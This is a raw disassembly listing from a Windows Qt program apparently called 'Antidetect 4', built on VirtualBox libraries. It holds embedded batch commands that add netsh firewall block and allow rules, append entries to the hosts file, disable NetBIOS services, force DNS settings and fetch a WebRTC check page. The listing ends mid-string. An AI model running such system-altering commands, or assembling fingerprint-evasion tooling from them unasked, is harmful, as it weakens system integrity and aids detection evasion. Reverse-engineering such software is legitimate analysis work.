call qword [sym.imp.Qt5Core.dll_public:_static_class_QString___cdecl_QString::fromUtf8_char_const____ptr64__int_]
nop
mov rdx, rax
lea rcx, [rbp + 0x50]
call qword [sym.imp.Qt5Core.dll_public:_class_QString____ptr64___cdecl_QString::append_class_QString_const____ptr64____ptr64]
nop
lea rcx, [rbp + 0x338]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
lea rdx, [rbp + 0x50]
lea rcx, [rsp + 0x38]
call qword [sym.imp.Qt5Core.dll_public:_class_QString____ptr64___cdecl_QString::append_class_QString_const____ptr64____ptr64]
btr edi, 0x18
lea rcx, [rbp + 0x50]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
btr edi, 0x17
mov dword [rsp + 0x30], edi
lea rcx, [rbp + 0x20]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0xf8]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x58]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x100]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x108]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x130]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
cmp byte [rsi + 0x13], 0
je 0x14011ddc0
mov edx, 0x1e
lea rcx, str.Windows_Telemetry_leak_Blocked
call qword [sym.imp.Qt5Core.dll_private:_static_struct_QTypedArrayData_unsigned_short_int_____ptr64___cdecl_QString::fromAscii_helper_char_const____ptr64__int_]
mov qword [rbp + 0x118], rax
mov edx, 0xc
lea rcx, str.Antidetect_4
call qword [sym.imp.Qt5Core.dll_private:_static_struct_QTypedArrayData_unsigned_short_int_____ptr64___cdecl_QString::fromAscii_helper_char_const____ptr64__int_]
mov qword [rbp + 0x110], rax
mov edx, 9
lea rcx, str.logo2.png
call qword [sym.imp.Qt5Core.dll_private:_static_struct_QTypedArrayData_unsigned_short_int_____ptr64___cdecl_QString::fromAscii_helper_char_const____ptr64__int_]
mov qword [rbp + 0x208], rax
mov edx, 0x15
lea rcx, str._1__Text__2___3_
call qword [sym.imp.Qt5Core.dll_private:_static_struct_QTypedArrayData_unsigned_short_int_____ptr64___cdecl_QString::fromAscii_helper_char_const____ptr64__int_]
mov qword [rbp + 0x1b0], rax
mov dl, 0x20
lea rcx, [rbp - 0x3e]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QChar::constructor_struct_QLatin1Char____ptr64]
movzx eax, word [rax]
mov word [rsp + 0x20], ax
xor r9d, r9d
lea r8, [rbp + 0x208]
lea rdx, [rbp + 0x350]
lea rcx, [rbp + 0x1b0]
call qword [sym.imp.Qt5Core.dll_public:_class_QString___cdecl_QString::arg_class_QString_const____ptr64__int__class_QChar____ptr64]
mov rbx, rax
mov dl, 0x20
lea rcx, [rbp - 0x3c]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QChar::constructor_struct_QLatin1Char____ptr64]
movzx eax, word [rax]
mov word [rsp + 0x20], ax
xor r9d, r9d
lea r8, [rbp + 0x110]
lea rdx, [rbp + 0x348]
mov rcx, rbx
call qword [sym.imp.Qt5Core.dll_public:_class_QString___cdecl_QString::arg_class_QString_const____ptr64__int__class_QChar____ptr64]
mov rbx, rax
mov dl, 0x20
lea rcx, [rbp - 0x3a]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QChar::constructor_struct_QLatin1Char____ptr64]
movzx eax, word [rax]
mov word [rsp + 0x20], ax
xor r9d, r9d
lea r8, [rbp + 0x118]
lea rdx, [rbp + 0x340]
mov rcx, rbx
call qword [sym.imp.Qt5Core.dll_public:_class_QString___cdecl_QString::arg_class_QString_const____ptr64__int__class_QChar____ptr64]
mov rbx, rax
mov r8d, 0xffffffff
lea rdx, str.powershell__New_BurntToastNotification__AppLogo__userprofile_DocumentsWindowsPowerShellmodulesBurntToast_
lea rcx, [rbp + 0x70]
call qword [sym.imp.Qt5Core.dll_public:_static_class_QString___cdecl_QString::fromUtf8_char_const____ptr64__int_]
bts edi, 0x1a
mov dword [rsp + 0x30], edi
mov rdx, rbx
lea rcx, [rbp + 0x70]
call qword [sym.imp.Qt5Core.dll_public:_class_QString____ptr64___cdecl_QString::append_class_QString_const____ptr64____ptr64]
btr edi, 0x1a
bts edi, 0x19
mov dword [rsp + 0x30], edi
lea rcx, [rbp + 0x340]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x348]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x350]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x1b0]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
mov r8d, 0xffffffff
lea rdx, str.netsh_advfirewall_firewall_add_rule_name_telemetry_vortex.data.microsoft.com__dirout_actionblock_remoteip191.232.139.254_enableyes___nul___netsh_advfirewall_firewall_add_rule_name_telemetry_telecommand.telemetry.microsoft.com__dirout_actionblock_remoteip65.55.252.92_enableyes___nul__netsh_advfirewall_firewall_add_rule_name_telemetry_oca.telemetry.microsoft.com__dirout_actionblock_remoteip65.55.252.63_enableyes___nul__netsh_advfirewall_firewall_add_rule_name_telemetry_sqm.telemetry.microsoft.com__dirout_actionblock_remoteip65.55.252.93_enableyes___nul__netsh_advfirewall_firewall_add_rule_name_telemetry_watson.telemetry.microsoft.com__dirout_actionblock_remoteip65.55.252.43_65.52.108.29_enableyes___nul__netsh_advfirewall_firewall_add_rule_name_telemetry_redir.metaservices.microsoft.com__dirout_actionblock_remoteip194.44.4.200_194.44.4.208_enableyes___nul__netsh_advfirewall_firewall_add_rule_name_telemetry_choice.microsoft.com__dirout_actionblock_remoteip157.56.91.77_enableyes___nul__netsh_advfirewall_firewall_add_rule_name_telemetry_df.telemetry.microsoft.com__dirout_actionblock_remoteip65.52.100.7_enableyes___nul__netsh_advfirewall_firewall_add_rule_name_telemetry_reports.wes.df.telemetry.microsoft.com__dirout_actionblock_remoteip65.52.100.91_enableyes___nul__netsh_advfirewall_firewall_add_rule_name_telemetry_wes.df.telemetry.microsoft.com__dirout_actionblock_remoteip65.52.100.93_enableyes___nul__netsh_advfirewall_firewall_add_rule_name_telemetry_services.wes.df.telemetry.microsoft.com__dirout_actionblock_remoteip65.52.100.92_enableyes___nul__netsh_advfirewall_firewall_add_rule_name_telemetry_sqm.df.telemetry.microsoft.com__dirout_actionblock_remoteip65.52.100.94_enableyes___nul__netsh_advfirewall_firewall_add_rule_name_telemetry_telemetry.microsoft.com__dirout_actionblock_remoteip65.52.100.9_enableyes___nul__netsh_advfirewall_firewall_add_rule_name_telemetry_watson.ppe.telemetry.microsoft.com__dirout_actionblock_remoteip65.52.100.11_enableyes___nul__netsh_advfirewall_firewall_add_rule_name_telemetry_telemetry.appex.bing.net__dirout_actionblock_remoteip168.63.108.233_enableyes___nul__netsh_advfirewall_firewall_add_rule_name_telemetry_telemetry.urs.microsoft.com__dirout_actionblock_remoteip157.56.74.250_enableyes___nul__netsh_advfirewall_firewall_add_rule_name_telemetry_settings_sandbox.data.microsoft.com__dirout_actionblock_remoteip111.221.29.177_enableyes___nul__netsh_advfirewall_firewall_add_rule_name_telemetry_vortex_sandbox.data.microsoft.com__dirout_actionblock_remoteip64.4.54.32_enableyes___nul__netsh_advfirewall_firewall_add_rule_name_telemetry_survey.watson.microsoft.com__dirout_actionblock_remoteip207.68.166.254_enableyes___nul__netsh_advfirewall_firewall_add_rule_name_telemetry_watson.live.com__dirout_actionblock_remoteip207.46.223.94_enableyes___nul__netsh_advfirewall_firewall_add_rule_name_telemetry_watson.microsoft.com__dirout_actionblock_remoteip65.55.252.71_enableyes___nul__netsh_advfirewall_firewall_add_rule_name_telemetry_statsfe2.ws.microsoft.com__dirout_actionblock_remoteip64.4.54.22_enableyes___nul__netsh_advfirewall_firewall_add_rule_name_telemetry_corpext.msitadfs.glbdns2.microsoft.com__dirout_actionblock_remoteip131.107.113.238_enableyes___nul__netsh_advfirewall_firewall_add_rule_name_telemetry_compatexchange.cloudapp.net__dirout_actionblock_remoteip23.99.10.11_enableyes___nul__netsh_advfirewall_firewall_add_rule_name_telemetry_cs1.wpc.v0cdn.net__dirout_actionblock_remoteip68.232.34.200_enableyes___nul__netsh_advfirewall_firewall_add_rule_name_telemetry_a_0001.a_msedge.net__dirout_actionblock_remoteip204.79.197.200_enableyes___nul__netsh_advfirewall_firewall_add_rule_name_telemetry_statsfe2.update.microsoft.com.akadns.net__dirout_actionblock_remoteip64.4.54.22_enableyes___nul__netsh_advfirewall_firewall_add_rule_name_telemetry_sls.update.microsoft.com.akadns.net__dirout_actionblock_remoteip157.56.77.139_enableyes___nul__netsh_advfirew
lea rcx, [rbp + 0xc8]
call qword [sym.imp.Qt5Core.dll_public:_static_class_QString___cdecl_QString::fromUtf8_char_const____ptr64__int_]
bts edi, 0x1b
mov dword [rsp + 0x30], edi
lea rdx, [rbp + 0x70]
lea rcx, [rbp + 0xc8]
call qword [sym.imp.Qt5Core.dll_public:_class_QString____ptr64___cdecl_QString::append_class_QString_const____ptr64____ptr64]
nop
lea rdx, [rbp + 0xc8]
lea rcx, [rbp + 0x60]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::constructor_class_QString_const____ptr64____ptr64]
bts edi, 0x1c
mov dword [rsp + 0x30], edi
mov r8d, 0xffffffff
lea rdx, str.__timeout_5___nul_r_n
lea rcx, [rbp + 0x358]
call qword [sym.imp.Qt5Core.dll_public:_static_class_QString___cdecl_QString::fromUtf8_char_const____ptr64__int_]
nop
mov rdx, rax
lea rcx, [rbp + 0x60]
call qword [sym.imp.Qt5Core.dll_public:_class_QString____ptr64___cdecl_QString::append_class_QString_const____ptr64____ptr64]
nop
lea rcx, [rbp + 0x358]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
lea rdx, [rbp + 0x60]
lea rcx, [rsp + 0x38]
call qword [sym.imp.Qt5Core.dll_public:_class_QString____ptr64___cdecl_QString::append_class_QString_const____ptr64____ptr64]
btr edi, 0x1c
lea rcx, [rbp + 0x60]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
btr edi, 0x1b
mov dword [rsp + 0x30], edi
lea rcx, [rbp + 0xc8]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x70]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x208]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x110]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x118]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
cmp byte [rsi + 0x11], 0
je 0x14011e052
mov edx, 0xe
lea rcx, str.Akamai_Blocked
call qword [sym.imp.Qt5Core.dll_private:_static_struct_QTypedArrayData_unsigned_short_int_____ptr64___cdecl_QString::fromAscii_helper_char_const____ptr64__int_]
mov qword [rbp + 0x140], rax
mov edx, 0xc
lea rcx, str.Antidetect_4
call qword [sym.imp.Qt5Core.dll_private:_static_struct_QTypedArrayData_unsigned_short_int_____ptr64___cdecl_QString::fromAscii_helper_char_const____ptr64__int_]
mov qword [rbp + 0x138], rax
mov edx, 9
lea rcx, str.logo2.png
call qword [sym.imp.Qt5Core.dll_private:_static_struct_QTypedArrayData_unsigned_short_int_____ptr64___cdecl_QString::fromAscii_helper_char_const____ptr64__int_]
mov qword [rbp + 0x210], rax
mov edx, 0x15
lea rcx, str._1__Text__2___3_
call qword [sym.imp.Qt5Core.dll_private:_static_struct_QTypedArrayData_unsigned_short_int_____ptr64___cdecl_QString::fromAscii_helper_char_const____ptr64__int_]
mov qword [rbp + 0x120], rax
mov dl, 0x20
lea rcx, [rbp - 0x38]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QChar::constructor_struct_QLatin1Char____ptr64]
movzx eax, word [rax]
mov word [rsp + 0x20], ax
xor r9d, r9d
lea r8, [rbp + 0x210]
lea rdx, [rbp + 0x370]
lea rcx, [rbp + 0x120]
call qword [sym.imp.Qt5Core.dll_public:_class_QString___cdecl_QString::arg_class_QString_const____ptr64__int__class_QChar____ptr64]
mov rbx, rax
mov dl, 0x20
lea rcx, [rbp - 0x36]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QChar::constructor_struct_QLatin1Char____ptr64]
movzx eax, word [rax]
mov word [rsp + 0x20], ax
xor r9d, r9d
lea r8, [rbp + 0x138]
lea rdx, [rbp + 0x368]
mov rcx, rbx
call qword [sym.imp.Qt5Core.dll_public:_class_QString___cdecl_QString::arg_class_QString_const____ptr64__int__class_QChar____ptr64]
mov rbx, rax
mov dl, 0x20
lea rcx, [rbp - 0x34]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QChar::constructor_struct_QLatin1Char____ptr64]
movzx eax, word [rax]
mov word [rsp + 0x20], ax
xor r9d, r9d
lea r8, [rbp + 0x140]
lea rdx, [rbp + 0x360]
mov rcx, rbx
call qword [sym.imp.Qt5Core.dll_public:_class_QString___cdecl_QString::arg_class_QString_const____ptr64__int__class_QChar____ptr64]
mov rbx, rax
mov r8d, 0xffffffff
lea rdx, str.powershell__New_BurntToastNotification__AppLogo__userprofile_DocumentsWindowsPowerShellmodulesBurntToast_
lea rcx, [rbp + 0x88]
call qword [sym.imp.Qt5Core.dll_public:_static_class_QString___cdecl_QString::fromUtf8_char_const____ptr64__int_]
bts edi, 0x1e
mov dword [rsp + 0x30], edi
mov rdx, rbx
lea rcx, [rbp + 0x88]
call qword [sym.imp.Qt5Core.dll_public:_class_QString____ptr64___cdecl_QString::append_class_QString_const____ptr64____ptr64]
btr edi, 0x1e
bts edi, 0x1d
mov dword [rsp + 0x30], edi
lea rcx, [rbp + 0x360]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x368]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x370]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x120]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
mov edx, 0x51
lea rcx, str.type__MY_VBOX_ADDITIONS_etc_akamai.txt_____windir__system32driversetchosts_
call qword [sym.imp.Qt5Core.dll_private:_static_struct_QTypedArrayData_unsigned_short_int_____ptr64___cdecl_QString::fromAscii_helper_char_const____ptr64__int_]
mov qword [rbp + 0x128], rax
lea rdx, [rbp + 0x128]
lea rcx, [rbp + 0x80]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::constructor_class_QString_const____ptr64____ptr64]
or edi, 0x80000000
mov dword [rsp + 0x30], edi
lea rdx, [rbp + 0x88]
lea rcx, [rbp + 0x80]
call qword [sym.imp.Qt5Core.dll_public:_class_QString____ptr64___cdecl_QString::append_class_QString_const____ptr64____ptr64]
nop
lea rdx, [rbp + 0x80]
lea rcx, [rbp + 0x78]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::constructor_class_QString_const____ptr64____ptr64]
mov dword [rsp + 0x34], 1
mov r8d, 0xffffffff
lea rdx, str.__timeout_1___nul_r_n
lea rcx, [rbp + 0x378]
call qword [sym.imp.Qt5Core.dll_public:_static_class_QString___cdecl_QString::fromUtf8_char_const____ptr64__int_]
nop
mov rdx, rax
lea rcx, [rbp + 0x78]
call qword [sym.imp.Qt5Core.dll_public:_class_QString____ptr64___cdecl_QString::append_class_QString_const____ptr64____ptr64]
nop
lea rcx, [rbp + 0x378]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
lea rdx, [rbp + 0x78]
lea rcx, [rsp + 0x38]
call qword [sym.imp.Qt5Core.dll_public:_class_QString____ptr64___cdecl_QString::append_class_QString_const____ptr64____ptr64]
mov r14d, r12d
mov dword [rsp + 0x34], r12d
lea rcx, [rbp + 0x78]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
btr edi, 0x1f
mov dword [rsp + 0x30], edi
lea rcx, [rbp + 0x80]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x128]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x88]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x210]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x138]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x140]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
cmp byte [rsi + 0x14], 0
je 0x14011e2c6
mov edx, 0x14
lea rcx, str.NetBios_Leak_Blocked
call qword [sym.imp.Qt5Core.dll_private:_static_struct_QTypedArrayData_unsigned_short_int_____ptr64___cdecl_QString::fromAscii_helper_char_const____ptr64__int_]
mov qword [rbp + 0x1e8], rax
mov edx, 0xc
lea rcx, str.Antidetect_4
call qword [sym.imp.Qt5Core.dll_private:_static_struct_QTypedArrayData_unsigned_short_int_____ptr64___cdecl_QString::fromAscii_helper_char_const____ptr64__int_]
mov qword [rbp + 0x1e0], rax
mov edx, 9
lea rcx, str.logo2.png
call qword [sym.imp.Qt5Core.dll_private:_static_struct_QTypedArrayData_unsigned_short_int_____ptr64___cdecl_QString::fromAscii_helper_char_const____ptr64__int_]
mov qword [rbp + 0x1d8], rax
mov edx, 0x15
lea rcx, str._1__Text__2___3_
call qword [sym.imp.Qt5Core.dll_private:_static_struct_QTypedArrayData_unsigned_short_int_____ptr64___cdecl_QString::fromAscii_helper_char_const____ptr64__int_]
mov qword [rbp + 0x238], rax
mov dl, 0x20
lea rcx, [rbp - 0x32]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QChar::constructor_struct_QLatin1Char____ptr64]
movzx eax, word [rax]
mov word [rsp + 0x20], ax
xor r9d, r9d
lea r8, [rbp + 0x1d8]
lea rdx, [rbp + 0x390]
lea rcx, [rbp + 0x238]
call qword [sym.imp.Qt5Core.dll_public:_class_QString___cdecl_QString::arg_class_QString_const____ptr64__int__class_QChar____ptr64]
mov rbx, rax
mov dl, 0x20
lea rcx, [rbp - 0x30]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QChar::constructor_struct_QLatin1Char____ptr64]
movzx eax, word [rax]
mov word [rsp + 0x20], ax
xor r9d, r9d
lea r8, [rbp + 0x1e0]
lea rdx, [rbp + 0x388]
mov rcx, rbx
call qword [sym.imp.Qt5Core.dll_public:_class_QString___cdecl_QString::arg_class_QString_const____ptr64__int__class_QChar____ptr64]
mov rbx, rax
mov dl, 0x20
lea rcx, [rbp - 0x2e]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QChar::constructor_struct_QLatin1Char____ptr64]
movzx eax, word [rax]
mov word [rsp + 0x20], ax
xor r9d, r9d
lea r8, [rbp + 0x1e8]
lea rdx, [rbp + 0x380]
mov rcx, rbx
call qword [sym.imp.Qt5Core.dll_public:_class_QString___cdecl_QString::arg_class_QString_const____ptr64__int__class_QChar____ptr64]
mov rbx, rax
mov r8d, 0xffffffff
lea rdx, str.powershell__New_BurntToastNotification__AppLogo__userprofile_DocumentsWindowsPowerShellmodulesBurntToast_
lea rcx, [rbp + 0xa0]
call qword [sym.imp.Qt5Core.dll_public:_static_class_QString___cdecl_QString::fromUtf8_char_const____ptr64__int_]
mov dword [rsp + 0x34], 4
mov rdx, rbx
lea rcx, [rbp + 0xa0]
call qword [sym.imp.Qt5Core.dll_public:_class_QString____ptr64___cdecl_QString::append_class_QString_const____ptr64____ptr64]
nop
mov dword [rsp + 0x34], 2
lea rcx, [rbp + 0x380]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x388]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x390]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x238]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
mov r8d, 0xffffffff
lea rdx, str.net_stop_lmhosts___nul__timeout_5___nul__net_stop_netbt___nul__timeout_5___nul__sc_config_netbt_start_disabled___nul__sc_config_lmhosts_start_disabled___nul_
lea rcx, [rbp + 0x98]
call qword [sym.imp.Qt5Core.dll_public:_static_class_QString___cdecl_QString::fromUtf8_char_const____ptr64__int_]
mov dword [rsp + 0x34], 0xa
lea rdx, [rbp + 0xa0]
lea rcx, [rbp + 0x98]
call qword [sym.imp.Qt5Core.dll_public:_class_QString____ptr64___cdecl_QString::append_class_QString_const____ptr64____ptr64]
nop
lea rdx, [rbp + 0x98]
lea rcx, [rbp + 0x90]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::constructor_class_QString_const____ptr64____ptr64]
mov dword [rsp + 0x34], 0x1a
mov r8d, 0xffffffff
lea rdx, str.__timeout_5___nul_r_n
lea rcx, [rbp + 0x398]
call qword [sym.imp.Qt5Core.dll_public:_static_class_QString___cdecl_QString::fromUtf8_char_const____ptr64__int_]
nop
mov rdx, rax
lea rcx, [rbp + 0x90]
call qword [sym.imp.Qt5Core.dll_public:_class_QString____ptr64___cdecl_QString::append_class_QString_const____ptr64____ptr64]
nop
lea rcx, [rbp + 0x398]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
lea rdx, [rbp + 0x90]
lea rcx, [rsp + 0x38]
call qword [sym.imp.Qt5Core.dll_public:_class_QString____ptr64___cdecl_QString::append_class_QString_const____ptr64____ptr64]
nop
lea rcx, [rbp + 0x90]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
mov r14d, 2
mov dword [rsp + 0x34], r14d
lea rcx, [rbp + 0x98]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0xa0]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x1d8]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x1e0]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x1e8]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
cmp byte [rsi + 0x15], 0
je 0x14011e40b
lea rcx, [rbp - 0x70]
call fcn.140121d30
nop
mov edx, 7
lea ecx, [rdx - 4]
call qword [sym.imp.VBoxRT.dll_RTRandU32Ex]
mov r14d, eax
mov edi, r12d
nop
lea rcx, [rbp - 0x70]
call qword [sym.imp.Qt5Core.dll_public:_int___cdecl_QListData::size_void_const___ptr64]
cmp r14d, eax
jg 0x14011e304
mov eax, r14d
jmp 0x14011e30e
lea rcx, [rbp - 0x70]
call qword [sym.imp.Qt5Core.dll_public:_int___cdecl_QListData::size_void_const___ptr64]
cmp edi, eax
jge 0x14011e3dd
mov edx, 0x7c
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_Antidetect_OpenLocalPort__1__protocoltcp_localport_1_dirin_actionallow___nul_r_n
call qword [sym.imp.Qt5Core.dll_private:_static_struct_QTypedArrayData_unsigned_short_int_____ptr64___cdecl_QString::fromAscii_helper_char_const____ptr64__int_]
mov qword [rbp + 0x410], rax
mov dl, 0x20
lea rcx, [rbp + 0x318]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QChar::constructor_struct_QLatin1Char____ptr64]
movzx ebx, word [rax]
mov rax, qword [rbp - 0x70]
mov ecx, dword [rax]
cmp ecx, 1
jbe 0x14011e35c
mov rax, qword [rbp - 0x70]
mov edx, dword [rax + 4]
lea rcx, [rbp - 0x70]
call fcn.14001db20
mov edx, edi
lea rcx, [rbp - 0x70]
call qword [sym.imp.Qt5Core.dll_public:_void____ptr64____ptr64___cdecl_QListData::at_int_const___ptr64]
mov r8d, 0xa
mov edx, dword [rax]
lea rcx, [rbp + 0x540]
call qword [sym.imp.Qt5Core.dll_public:_static_class_QString___cdecl_QString::number_int__int_]
nop
mov word [rsp + 0x20], bx
xor r9d, r9d
mov r8, rax
lea rdx, [rbp + 0x538]
lea rcx, [rbp + 0x410]
call qword [sym.imp.Qt5Core.dll_public:_class_QString___cdecl_QString::arg_class_QString_const____ptr64__int__class_QChar____ptr64]
nop
mov rdx, rax
lea rcx, [rsp + 0x38]
call qword [sym.imp.Qt5Core.dll_public:_class_QString____ptr64___cdecl_QString::append_class_QString_const____ptr64____ptr64]
nop
lea rcx, [rbp + 0x538]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x540]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x410]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
inc edi
jmp 0x14011e2f0
mov rax, qword [rbp - 0x70]
mov ecx, dword [rax]
test ecx, ecx
je 0x14011e3fb
cmp ecx, 0xffffffff
je 0x14011e406
mov rax, qword [rbp - 0x70]
lock add dword [rax], 0xffffffff
setne al
test al, al
jne 0x14011e406
mov rcx, qword [rbp - 0x70]
call qword [sym.imp.Qt5Core.dll_public:_static_void___cdecl_QListData::dispose_struct_QListData::Data____ptr64_]
nop
mov r14d, dword [rsp + 0x34]
lea rdx, [rsi + 0x28]
lea rcx, [rbp + 0x200]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::constructor_class_QString_const____ptr64____ptr64]
nop
mov rax, qword [rbp + 0x200]
cmp dword [rax + 4], 0
je 0x14011e5c1
mov r8d, 0xffffffff
lea rdx, str._for__f__tokens1_2_3____i_in__netsh_int_show_interface__do___r_n___netsh_int_ipv4_set_dns_name___l__static
lea rcx, [rbp + 0x2e0]
call qword [sym.imp.Qt5Core.dll_public:_static_class_QString___cdecl_QString::fromUtf8_char_const____ptr64__int_]
or r14d, 0x20
mov dword [rsp + 0x34], r14d
lea rdx, [rbp + 0x200]
lea rcx, [rbp + 0x2e0]
call qword [sym.imp.Qt5Core.dll_public:_class_QString____ptr64___cdecl_QString::append_class_QString_const____ptr64____ptr64]
nop
lea rdx, [rbp + 0x2e0]
lea rcx, [rbp + 0x2d8]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::constructor_class_QString_const____ptr64____ptr64]
or r14d, 0x40
mov dword [rsp + 0x34], r14d
mov r8d, 0xffffffff
lea rdx, str._primary_validateno_nul_r_n_____ipconfig__flushdns_
lea rcx, [rbp + 0x548]
call qword [sym.imp.Qt5Core.dll_public:_static_class_QString___cdecl_QString::fromUtf8_char_const____ptr64__int_]
nop
mov rdx, rax
lea rcx, [rbp + 0x2d8]
call qword [sym.imp.Qt5Core.dll_public:_class_QString____ptr64___cdecl_QString::append_class_QString_const____ptr64____ptr64]
nop
lea rcx, [rbp + 0x548]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
lea rdx, [rbp + 0x2d8]
lea rcx, [rsp + 0x38]
call qword [sym.imp.Qt5Core.dll_public:_class_QString____ptr64___cdecl_QString::append_class_QString_const____ptr64____ptr64]
and r14d, 0xffffffbf
lea rcx, [rbp + 0x2d8]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
and r14d, 0xffffffdf
mov dword [rsp + 0x34], r14d
lea rcx, [rbp + 0x2e0]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
mov r8d, 0xffffffff
lea rdx, str.___userprofile_DesktopCheckWebRTC.cmd____echo__echo_off_r_necho_powershell___Invoke_WebRequest__UseBasicParsing_http:__
lea rcx, [rbp + 0x2f0]
call qword [sym.imp.Qt5Core.dll_public:_static_class_QString___cdecl_QString::fromUtf8_char_const____ptr64__int_]
bts r14d, 7
mov dword [rsp + 0x34], r14d
lea rdx, [rbp + 0x200]
lea rcx, [rbp + 0x2f0]
call qword [sym.imp.Qt5Core.dll_public:_class_QString____ptr64___cdecl_QString::append_class_QString_const____ptr64____ptr64]
nop
lea rdx, [rbp + 0x2f0]
lea rcx, [rbp + 0x2e8]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::constructor_class_QString_const____ptr64____ptr64]
bts r14d, 8
mov dword [rsp + 0x34], r14d
mov r8d, 0xffffffff
lea rdx, str._rtc.php_.Content__r_necho_timeout_10___
